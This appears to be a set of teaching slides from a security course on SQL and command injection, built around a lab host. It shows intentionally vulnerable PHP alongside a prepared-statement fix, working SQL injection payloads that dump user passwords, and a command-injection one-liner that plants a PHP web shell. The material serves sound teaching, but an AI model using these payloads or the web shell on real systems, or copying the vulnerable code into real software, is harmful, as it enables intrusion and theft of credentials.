Security day 3

Sql injection and unsecure code

Recap from day 1 and 2

Hashing vs. Encryption

Hashing with SALT in php using build in functions

Session

Oauth

Input validation / Regex

Injection attacks

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

source:owasp

Injection attacks

- The nr 1 on OWASP
- Easy to exploit
- Can give access to a lot of data and/or the server
- Not just about sql injection

Exploitable php/sql

```
if( isset( $_REQUEST[ 'Submit' ] ) ) {

        $id = $_REQUEST[ 'id' ];    // Check database

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die;

   while( $row = mysqli_fetch_assoc( $result ) ) {

         $first = $row["first_name"];

         $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

           }

 mysqli_close($GLOBALS["___mysqli_ston"]);}
```

Exploitable sql

Problem with unfiltered input that the user input in a input field, test using single quote

Exploit sql

$query = “SELECT first_name, last_name FROM users WHERE user_id = '';”;

Error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

WE CHANGED THE SQL AND PROVOKED AN ERROR FROM MYSQL!!!

Prepared statements

- Variables are kept separate and never parsed as a generic SQL statement.
- It is a lot faster the database knows that the placeholder only contains data
- It is more secure
- It is still a good idea to filter input!

Prepared statements

```
$id = $_GET[ 'id' ];

 if(is_numeric( $id )) {

        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        $data->execute();

        $row = $data->fetch();

        if( $data->rowCount() == 1 ) {

                $first = $row[ 'first_name' ];

                $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
```

Back to sql injection

Log in to (admin/password)

http://207.154.221.210/sec101/

Select **sqli**

Try:

‘ (single quote)

1’or 1=1# (The # is a comment to remove the last quote)

UNION

UNION is used to combine the result from multiple SELECT statements into a single result set.

TRY:

' UNION SELECT @@version -- (SPACE At THE END!!!)

Result:

The used SELECT statements have a different number of columns

UNION

UNION need to select the right number of columns, we can use null to “negate” the need, a bit of guessing might be needed!

TRY:

' UNION SELECT @@version, null -- (SPACE At THE END!!!)

Result:

SELECT first_name, last_name FROM users WHERE user_id = ' ' UNION SELECT @@version, null -- ‘';

UNION

Dumping data from the table

TRY:

1' OR 1=1 UNION SELECT null, concat(user_id,first_name,last_name) FROM users -- (space)

UNION

TRY getting the username and password for all users

Let’s dump all data about users

TRY:

1' and 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users -- (SPACE)

(0x0a is newline in ascii)

Command injection

```
if( isset( $_POST[ 'Submit' ]  ) ) {

        $target = $_REQUEST[ 'ip' ];

        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

                $cmd = shell_exec( 'ping  ' . $target );

        }else {

                $cmd = shell_exec( 'ping  -c 4 ' . $target );

        }

        $html .= "<pre>{$cmd}</pre>";

}
```

Command injection

Try:

Select “command injection”

Type in 8.8.8.8 in the input field

Result:

Ping output

Command injection

TRY :

ls -al or another linux command

Result:

none

Command injection

- The input is parsed to the ping command using shell_exe();
- We need to bypass or add to the command:
- There is no check for a valid ip !

DEMO:

Linux and pipes

Command injection

TRY:

Using ; or | to split command

Ip;command

Result:

Output from the command

Command injection

TRY creating a file on the remote filesystem

- target is /var/www/html/test/yourname.txt

The result can be seen here:

http://207.154.221.210/test/yourname.txt

Command injection, creating a backdoor

Example DON’T TRY

1; echo '<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>' > /var/www/html/test/test.php

http://207.154.221.210/test/test.php?cmd=cd%20/;pwd;who

TASK

Vulnerability(simple javascript): Reflected Cross Site Scripting (XSS), try exploiting it yourself.